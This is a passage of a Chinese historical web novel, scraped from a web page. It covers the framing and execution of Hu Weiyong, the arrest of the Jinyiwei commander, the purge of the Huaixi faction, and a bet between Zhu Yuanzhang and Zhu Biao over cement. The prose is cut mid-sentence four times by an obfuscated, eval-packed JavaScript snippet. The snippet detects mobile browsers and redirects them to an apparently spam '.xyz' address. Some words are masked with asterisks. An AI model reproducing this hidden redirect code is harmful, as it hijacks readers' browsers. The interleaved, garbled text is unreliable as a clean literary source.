蒋瓛更是神色狠厉,咬牙切齿道:“太子殿下,这胡惟庸早有谋逆之心啊!竟然敢私自藏匿龙袍于房间砖缝之下,他这是要谋反啊!” 太子朱标脸色同样阴沉,但眼中却并无多少怒意,反而不着痕迹的看了蒋瓛一眼。 如今他算是彻底明白了,为何蒋瓛要在他面前演这么一出戏,又为何朱元璋要说他掘地三尺这个暗示。 很明显,胡惟庸房间内的这件龙袍,乃是朱元璋命令这群锦衣卫提前埋好的,为的就是栽赃嫁祸在胡惟庸的身上。 并且如今这么多人亲眼所见,胡惟庸只怕是百口莫辩,这谋逆的罪名,他逃不了! 与此同时,屋外涌进不少锦衣卫,手上捧着书信和账册。 “这些是什么?” 朱标沉声问道。 “回禀太子殿下,这些都是胡惟庸这些年来结党营私,收**赂的证据,还请太子殿下过目。” 锦衣卫如实回道。 朱标沉沉闭上双眼,再睁开时,目光已然无比冷冽。 他知道,就算没有这一件龙袍,就胡惟庸的这些所作所为,其实和谋反也没什么区别了。 于是,他果断开口说道:“将这些罪证,还有这谋逆之物一并带回宫内,交由父皇查验,至于相府上的所有人,全部押回大牢,听候审问!” 众人随即回到宫内。 …… “混账!他怎么敢……” 当朱元璋看到那些书信和账册后,双手都在颤抖,双眼更是血红无比。 此刻朱元璋心中的愤怒和对胡惟庸的杀意已经达到了顶峰。 朱标也看过其中一部分书信和账册,心中也是无比震撼。 虽然早有预料,可当看到这些东西时,心绪依旧起伏不定。 默了半晌,朱标开口问道:“父皇,如今胡惟庸罪证确凿,不知该如何处置?” 朱元璋神色冰冷,冷冷地说道:“抓!” 他看向下面跪着的蒋瓛,言语中充斥着无穷无尽的杀意:“凡是和胡惟庸有关的官员,不论何人,全都抓进大牢审问,一个都不能遗漏!” “先审这些官员,再审胡惟庸!” 蒋瓛闻言,迟疑道:“皇上,当真一个都不能遗漏?只要和胡惟庸有关的人都要抓吗?” 朱元璋扫了蒋瓛一眼:“咱知道你想说什么,不管他是谁,都给我抓!” 蒋瓛神色大喜,连忙点头退了出去。 一旁的朱标则是有些沉默。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880982|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “父皇,**镶对您忠心耿耿,他兴许和胡惟庸无关。” 没错,蒋瓛言语之中的人自然就是**镶。 这些书信还有账册中,胡惟庸和**镶的确有所联系。 但要说**镶也会和胡惟庸一同谋反,朱标是不信的。 毕竟**镶可是朱元璋一手提拔起来的锦衣卫统领,为的就是监察百官,怎么可能会谋反。 “咱知道他没有谋反之心,可他对咱,也没有标儿你想的那么忠诚。” 朱元璋的话让朱标愣了一下。 “标儿,你觉得依靠锦衣卫的能力,当真抓不住那两个**凶手?哪怕人是在胡惟庸的府邸,难道锦衣卫当真搜查不了?” 这两个问题一出,朱标不禁叹了口气。 他明白,凭借锦衣卫的能耐,哪怕是皇宫也来去自如。 更不要说一个小小的相府,可是这么长的时间锦衣卫都没有在相府发现凶手的踪迹,很明显是不合理。 与其说凶手背后的人是胡惟庸,倒不如说是**镶在利用职务之便给他打掩护。 因此,这件事情**镶必定知情,再加上这些书信和账册的往来,已经能够断定**镶和胡惟庸之间必定有不少的交易。 要知道,锦衣卫就是朱元璋的眼睛和耳朵,是替朱元璋巡察百官道存在。 朱元璋对其赋予了生杀大权,要的是其绝对忠心朱元璋,不偏袒任何官员,倘若连这一点都做不到,那也就不配成为锦衣卫了。 因为一旦偏袒,那么朱元璋就得不到准确的消息,就会遭受蒙蔽。 这也就是为什么这一次朱元璋明知**镶不会谋反,依旧让蒋瓛去抓人的原因。 此时的**镶还在镇抚司内,他神色凝重。 作为锦衣卫权力最大的统领,他自然第一时间就收到了胡惟庸府上挖出龙袍的消息。 同时他心中也有一股不好的预感,毕竟谁也不知道胡惟庸留下的书信账册中究竟有没有提到他。 **镶思考再三,觉得还是得进宫去试探一下朱元璋的态度。 “不行,我得进宫!” 第一百零一章 淮西倒台 可就当**镶正准备离开镇抚司进宫之时,却看到门外蒋瓛早已经在此等候。 “**统领,你这是打算去哪啊?” 蒋瓛笑问道。 “本统领去什么地方还需要向你禀报不成?” 见到蒋瓛,**镶神色一冷。 “别以为这几日得了皇上的器重,这锦衣卫就是你当家作主了,本统领告诉你,这镇抚司还轮不到你一手遮天。” 说完,**镶转身就欲上马离去。 然而他才有所动作,四周就钻出来不少锦衣卫将其给团团围住。 “蒋瓛,你想干什么?以下犯上吗!” **镶神色一变,转头厉声对蒋瓛呵斥道。 虽然这段时间蒋瓛一直在为朱元璋做事,可是他**镶是左统领,蒋瓛不过是右统领。 就如同左相胡惟庸和右相汪广洋那般一样,右统领蒋瓛自然也差他**镶一头。 闻言,蒋瓛笑着摇了摇头,不过却走到**镶面前。 下一秒,竟然当着**镶的面抽出刀直接砍断了马腿。 马匹发出一声痛苦的嘶鸣,而后跪倒在地,连带着马背上的**镶也重心不稳,狼狈落地。 看着躺在地上血流不止,嘶鸣凄厉的马匹,**镶双目瞬间变得血红无比。 这可是陪他数个年岁的马匹,是他珍爱之物,今日竟然被蒋瓛砍断了马腿! “蒋瓛你想死不成?” **镶当即从腰间抽出刀来,可随即他就听到一道接一道拔刀的声音。 只见四周的锦衣卫纷纷抽出刀来,一脸警惕的望着他。 哪怕**镶再迟钝,此刻也意识到了不对劲。 “蒋瓛,你想干什么?你眼里还有没有我这个指挥使?” **镶盯着蒋瓛问道。 蒋瓛轻笑一声,而后神色冷厉,对其反问道:“我倒想问一问你,你这个指挥使眼中还有没有皇上?” 说着,蒋瓛一步上前将**镶手中的佩刀夺下。 “是皇上派你来的!” **镶神色猛的一变。 “这是自然。” 蒋瓛看了一眼身旁的锦衣卫,淡淡说道:“将罪人**镶带走。” “不!你这是公报私仇,我要见皇上!” **镶慌了,要是被蒋瓛的手下带走,那下场必定无比凄惨。 现如今,他唯有寄希望于朱元璋的身上。 见**镶嚷嚷着要见朱元璋,蒋瓛冷笑一声:“你想见皇上,那也得等胡惟庸交代了罪行之后再说,带走!” 解决完**镶之后,蒋瓛立刻接管了锦衣卫,至于那些跟随**镶的锦衣卫,蒋瓛并没有为难他们。 毕竟现如今锦衣卫正是缺人手的时候,有什么账可以日后再算,何况**镶已经失势,以后这锦衣卫就只会有一个声音。 “现在,跟我一同去抓捕那些罪臣!” 随着锦衣卫的全体出动,整个应天府的官场上瞬间就掀起了惊涛骇浪。 无数官员被锦衣卫抓捕进了大牢,整个淮西文臣一派几近覆灭。 这一次朱元璋以迅雷不及掩耳之势覆灭了淮西一派,并且给胡惟庸定下了谋逆的大罪,诛其九族,至于其他的淮西勋贵,重则杀头,轻则流放。 当这些消息传到徐彦祖手中的时候,徐彦祖顿时沉默了。 一旁的褚宁则是一副大仇得报的样子。 “这个胡惟庸,我早就知道他不是个好人。先派人来对付你不说,后面竟然还在朝堂上对你栽赃陷害,甚至还想要谋反,活该他被抄九族!” 不过见徐彦祖一直沉默不语,褚宁也不禁疑惑问道:“徐彦祖,怎么胡惟庸都要被**了,你还一副闷闷不乐的样子。” 面对褚宁的询问,徐彦祖是哑巴吃黄连,有苦说不出。 他知道一旦胡惟庸被牵扯上倭寇一事,就相当于主动给朱元璋递了一把刀,让朱元璋有理由对胡惟庸下手。 可是他一开始想的是趁此机会**惟庸给拖下水,然后朱元璋在盛怒的时候连同他一起也给杀了。 毕竟他不过是一个小小的知县而已,对于朱元璋来说不过是个无足轻重的小人物,杀了也就杀了。 结果他得到的消息是,朱元璋竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880983|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在朝堂上对他大加赞赏,甚至还先让胡惟庸撤销了对他的污蔑,帮他洗刷了和倭寇勾结的罪名。 再然后,就是朱元璋从胡惟庸的家中搜出了谋逆的东西,将胡惟庸定罪,也让他失去了寻死的机会。 “朱大善啊朱大善,机会给你你不中用啊。” 徐彦祖不由轻叹一声。 毕竟这一次朱元璋并没有按照通倭的罪名来处置胡惟庸,反而是阴差阳错搜出了龙袍才给胡惟庸定罪,这已经出乎徐彦祖的意料,并没有按照徐彦祖的计划进行。 要知道徐彦祖准备了不少杀招来对付胡惟庸,同时还能将自己给牵连进去,如今却是全都白费了。 自然,在徐彦祖看来,朱大善对计划也同样落空。 那么在朱元璋面前和浙东集团那边也没有太大的功劳,自己又是从淮西一派叛变过去的,只怕不会得到重用。 “不过还是得帮助朱大善在朝堂中站稳脚跟。如今胡惟庸的倒台,朝堂元气大伤,只要朱大善能够做出一些政绩,必定会得到朱元璋的重用。那等我走后,褚宁这小丫头以后也能有个靠山。” 徐彦祖看向褚宁暗暗想到。 他必然是要死的,可死之前必须给褚宁的出路安排好。 那郑大姐待褚宁亲如姐妹,二者又可能是母女,徐彦祖自然要帮朱大善一家。 至于如何帮,还得谋划一番,并且还要等朱大善下一次来松阳县后才行。 与此同时,远在应天府内,胡惟庸也终于迎来了他的落幕时候。 自从朱元璋给胡惟庸定罪之后,胡惟庸就不停的在诏狱中大喊冤枉,但是却根本没有让理会他,甚至朱元璋都没有来见过他一面。 这也让胡惟庸心如死灰,他本来想着见到朱元璋之后,以两人之间的交情,朱元璋必定会心软,然而如今见不到朱元璋,自然就断了他的念想。 此刻,在一旁的太监杜安道正宣读着他**的圣旨。 等到圣旨宣读完毕之后,胡惟庸整个人跌坐在地。 他望向那太监,目光中带着恳求问道:“公公,皇上他真的不愿意见我一面吗?” 第一百零二章 父子打赌 面对胡惟庸的询问,杜安道有些于心不忍,他神色复杂。 曾经不可一世,权倾朝野的胡相胡惟庸如今落得这副模样。 “胡惟庸,皇上他另有要事在身,所以派我来给你宣读圣旨,给你送行。” 杜安道如实说道。 可是这话落在胡惟庸的耳中,却让他觉得这不过是杜安道的安抚之言。 “没想到皇上竟然如此绝情,我可是跟随他打天下的兄弟!” 胡惟庸死死抓着牢门,不甘的怒吼道。 见状,杜安道轻叹一声:“胡惟庸,这一切不过是你自作自受而已,倘若不是你谋反,皇上怎么可能杀你?并且皇上的确有要事在身,松阳县送来了一批水泥,皇上正带着太子前去接收呢。” 此言一出,宛如压倒骆驼的最后一根稻草一般压在胡惟庸的心上。 他没想到,到自己要杀头的时候,朱元璋竟然不来送行,仅仅是因为松阳县送来的一批东西! “又是徐彦祖!真没想到,我竟然会败在徐彦祖的身上。” 胡惟庸仰天长啸,状若疯魔。 杜安道则是在一旁冷眼旁观,他对一旁的狱卒说道:“时候一到,就送他上路。” 说完自顾自转身离去,也不管胡惟庸在背后说些什么。 与此同时,朱元璋和朱标如同将胡惟庸遗忘了一般,正在城门口翘首以待。 朱标看着朱元璋那满怀期待的样子,不由好奇地问道:“父皇,这水泥当真有你说的那么神异?” 在来的路上,朱元璋就喋喋不休的夸赞起了这水泥,也是让朱标心中无比好奇。 朱元璋点点头,笑道:“这是自然,等到水泥一到,标儿你就知道咱没有夸大其词了。” 很快,不远处就出现了一行车队,领头人穿着锦衣卫的衣服。 朱元璋眼前一亮,毫无疑问这车队押送的就是水泥。 两人马不停蹄向前赶去。 下了马之后,朱标打开水泥一看,发现这不过是一种灰色且刺鼻的灰土而已,狐疑道:“父皇,这东西当真像你说的那般刀枪不入?只怕马车往上一走立马就会压出两个车轮印吧?” 朱标用手轻轻一捻,那水泥就散开被风吹散,这在朱标看来实在说不上能有多牢固。 朱元璋没有解释,毕竟眼见为实。 他让车队将水泥运送回宫,找了一块空地之后开始带着朱标实验水泥的强度。 此时朱元璋手里拿着徐彦祖给的配比,让人将水泥拌好,神色无比激动。 反观朱标,看着那灰色的水泥则是暗暗叹了口气。 这松垮的水泥,怎么看也不像是能刀枪不入的样子。 然而下一秒,朱元璋就让人找来配套的模具,将水泥倒入其中。 “好了标儿,现在耐心等待就是。” 朱元璋翻阅着徐彦祖赠送的水泥使用手册。 上面明确写着需要静置等待一个时辰。 很快,一个时辰眨眼而过,朱元璋兴奋的命人打开模具,就看到一个四四方方的灰色土块置于众人面前。 “好了,水泥凝固了,可以先实验一番强度如何。” 朱元璋正准备找东西实验,结果下一秒就看到朱标拔出侍卫的剑朝着那水泥块的一角斩去。 随着剑光闪烁而过,水泥一角也被斩落。 这让朱标脸色一黑,他指着掉落地上的水泥块回头望着朱元璋说道:“父皇,这就是你说的坚不可摧?这就是你说的刀枪不入?” 朱标的眼神里满是疑惑和无奈,在他看来,这被朱元璋吹的天花乱坠的水泥,根本和一般的土块没有多少区别。 虽然在剑砍入水泥的时候却是有些阻碍,并且剑也足够锋利,但是这也远远达不到朱元璋所说的那种效果。 闻言,朱元璋面露无奈之色。 现如今这水泥才刚刚凝固,还远远没有硬化,怎么可能会有多高的硬度,最少也要等到两三天后才行。 当初在徐彦祖的水泥厂,徐彦祖可是准备了各个阶段的水泥供他参观,也让他实验了其中的硬度区别。 现如今水泥才刚刚运回,哪里有这样的条件。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884459|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过看朱标一副不信的样子,朱元璋信心满满的说道:“标儿,我们不妨打个赌如何,就赌三天之后,看看这水泥的硬度究竟能不能达到我说的那般。” 见朱元璋竟然要和自己打赌,朱标第一反应就是这其中会不会有炸。 “父皇,你不会和我来一个偷梁换柱吧?” 朱标不禁问道,毕竟前面胡惟庸的事情已经让他明白。 只要朱元璋想,可没有什么事情做不到。 朱元璋见朱标竟然怀疑自己,大眼瞪小眼道:“标儿,你就是这样看咱的?咱什么时候跟你耍赖过?” “要是你不放心,不如将那水泥的一角切一块带回去,十日之后便知分晓。” 朱元璋这话倒是让朱标彻底打消了疑虑。 切一块水泥放在身上,不管朱元璋使什么手段他都不怕。 “好!儿臣愿意陪父皇赌这一次。” 朱标拱手,随即问道:“不知父皇想和儿臣赌些什么?” 朱元璋嘿嘿一笑说道:“咱也不和标儿你赌金银财宝,只要咱赢了,那么过段时间标儿你依旧坐镇朝中,咱还要去一趟松阳县。” 听到这话,朱标先是一愣,而后哭笑不得说道:“父皇,你可是大明朝的皇帝,怎么能如同甩手掌柜一般?” 说实话,不管这水泥是否有朱元璋说的那般硬度,朱标早就想去松阳县会一会徐彦祖。 甚至打算等到胡惟庸的事情过去之后,就启程前往松阳。 不仅可以去见一见那徐彦祖,还能见马皇后和朱棣。 本来朱标都已经准备好了,岂料朱元璋竟然来了这么一出。 “诶,此言差矣。” 朱元璋摇摇头,语重心长的说道:“标儿,咱这么早可都是为了锻炼你的能力,如今胡惟庸一派被彻底清除,正好由你来收拾残局。” 很明显,朱元璋此举是要朱标提前培养自己的太子班底。 也就朱元璋对朱标宠爱才敢如此,倘若换作其他一个帝王,是断然不敢这样做的,不过这也说明朱标继位是板上钉钉的事情。 第一百零三章 震惊的朱标 “父皇,如今朝局动荡,大明更需要父皇您来稳定局势,还请父皇三思啊!” 朱标却不同意朱元璋的说法。 这一次朱元璋虽然消灭了胡惟庸为首的淮西勋贵,可是也将朝廷的大批官员杀的杀,放的放,导致现在朝廷一时间无人可用,有不少官员都开始身兼数职。 在这个时间,身为大明朝的皇帝,朱元璋竟然又要偷偷跑去松阳县,这分明就是想要偷懒! 然而朱元璋却指着一旁的水泥说道:“既然你我父子各执一词,那就让打赌来决定吧,三日后自然见分晓,如何?” 朱标闻言,知道朱元璋这是铁了心想要去松阳县,不然也不会说出靠打赌来决定皇帝去留的话来。 不过想到刚才水泥连自己一剑都扛不住,心中又多了些底气。 “好,不过三日之后这水泥不达标,那父皇可得坐镇朝中,哪也不许去!” 朱标冲朱元璋说道。 朱元璋笑着点了点头,对于这水泥的硬度,他有绝对的信心。 三日转瞬即逝,很快就到了验收的日子。 只是当朱元璋再次见到朱标的时候,却发现朱标眉宇间充斥着一抹颓败的神色。 朱元璋自然是心知肚明,毕竟刚才他已经检验过了水泥的硬度。 依旧是用侍卫的剑往上砍,结果他拼尽全力,也只能在上面留下一道白痕,根本就不能像上次朱标一样将其砍断。 “标儿,你这是怎么了?怎么如此垂头丧气,这可不像我大明朝的太子?” 朱元璋这是揣着明白装糊涂。 朱标抬头看了朱元璋一眼,将之前带回去的水泥从怀中拿了出来。 这段时日以来,这一块水泥一直跟着他形影不离,本来以为依旧会和之前一样,没有多少硬度。 直到昨日朱标突发奇想想要试试这水泥的硬度,这才发现等其完全硬化之后竟然比那铁器都还要坚硬! 当真如同朱元璋说的那般,刀枪不入,无坚不摧。 “父皇,是儿臣输了,这水泥当真如同你说的那般坚硬,寻常铁器根本不能在上面留痕。” 朱元璋闻言不由大笑起来,不仅仅是因为赌注赢了,更是因为得到了朱标的认可。 毕竟一开始朱标对这所谓的水泥一副看不上的样子,看他朱元璋的目光更是仿佛在说他又在乱花钱一般。 “那是因为你没有去过松阳县,你不知道松阳县的车道全都是用这水泥堆砌而成。寻常的马车在上面飞驰,根本不会留下半点痕迹。” “而这一次,咱也要用这水泥直接修一条从应天到松阳县的道路。到了那个时候,去松阳县就不用再折腾我这把身子骨了。” 朱元璋无比兴奋。 毕竟这每次前往松阳,一路上的颠簸都让他身心俱疲。 可要是有一条用水泥铺成的道路连接两地,那就必然不会再出现这样的情况。 随后,朱元璋又叫来车队,在水泥上来回碾压,可都没有出现任何裂痕。 这可把朱标惊的险些说不出话来。 哪怕是修建的官道,也会出现一些压痕,可是这水泥竟然当真是坚不可摧一般,一整个车队压在上面也没有任何问题。 “父皇,这水泥真乃神奇,我看不仅仅可以用于道路,也可以用于其他地方。” 朱标思索后得出结论。 朱元璋点了点头。 当初和徐彦祖商谈的时候,徐彦祖就曾经说过这水泥除了可以用来修建道路之外,还可以建造房屋碉堡甚至是长城! 不过其中就需要耗费大量的人力物力,短时间内徐彦祖那个水泥厂还跟不上这么大的产量,还需要慢慢扩建。 朱元璋自然也不着急,他现在想的就是将这条路从应天府修建到松阳县。 现如今徐彦祖还不知道朱元璋的身份,这让朱元璋不由想道: “倘若有一天咱把水泥官道修到他松阳县,带着仪仗兵马前去,让那小子出来接驾,等他知道了咱的身份,想起之前对咱的不敬,不得吓个半死!” 随后,朱元璋看向朱标笑嘻嘻地搓了搓手:“标儿,既然如今赌约你已经输了,愿赌服输你可不能耍赖。” “你在应天府监察文武百官,咱呢就去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884460|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松阳县再去找徐彦祖取取经,顺便让他多送些水泥过来。” 一开始,朱元璋的确对水泥的硬度还抱有一丝怀疑,所以一开始订的数量并不多。 不过如今亲手接触过水泥之后,这在朱元璋的眼中,那自然就成为无价之宝! 所以他这一次去松阳县,除了看看徐彦祖有没有弄出什么新奇玩意,也是打算让徐彦祖的水泥厂优先供给应天府。 要知道朱元璋虽然不着急用水泥来建造碉堡和房子,可对徐彦祖口中形容的这些东西却十分好奇。 如今大明百废待兴,倘若边关能够有这么多的水泥建造道路甚至房屋,必然能够大大提高边关的安全和稳定性。 见朱元璋要走,朱标知道自己也拦不住,只能无奈点头。 不过在临走之前,朱标拿出两封信件交由朱元璋。 “父皇,这是我写给母后和四弟的信件。多日不见,也不知道他们在那边情况如何,还请父皇代为送达。” 朱元璋接过信件,赞许的看了朱标一眼,像这样孝顺父母,关爱兄弟的人,才配成为这大明的下一任君主。 随后,朱元璋接过信件,直接钻进了马车之中。 朱标这才发觉,原来朱元璋早就将一切都准备好了,已然是身在曹营心在汉。 另外一边,松阳县。 朱棣依旧和以往一般,跟在徐彦祖身边学习。 随着学习到深入,徐彦祖也开始不局限于让徐彦祖接触农业,更多的是给朱标讲解一些松阳县的发展策略。 “小四啊,听说你家兄弟姐妹众多,朱大善打算日后分一块地让你出去自立门户,所以才派你来我这学东西,可有这回事?” 在闲暇时间,徐彦祖也是对朱棣问道。 “徐知县,这你是从何得知?” 朱棣有些疑惑。 徐彦祖摆了摆手,笑道:“你放心,这件事情没几个人知道,何况出去自立门户也不是什么丢脸的事情。你看那些皇子王爷日后还不是要就藩,不过他们照料的是一省一郡之地,而你不过数十上百亩田地,两者也是大同小异。”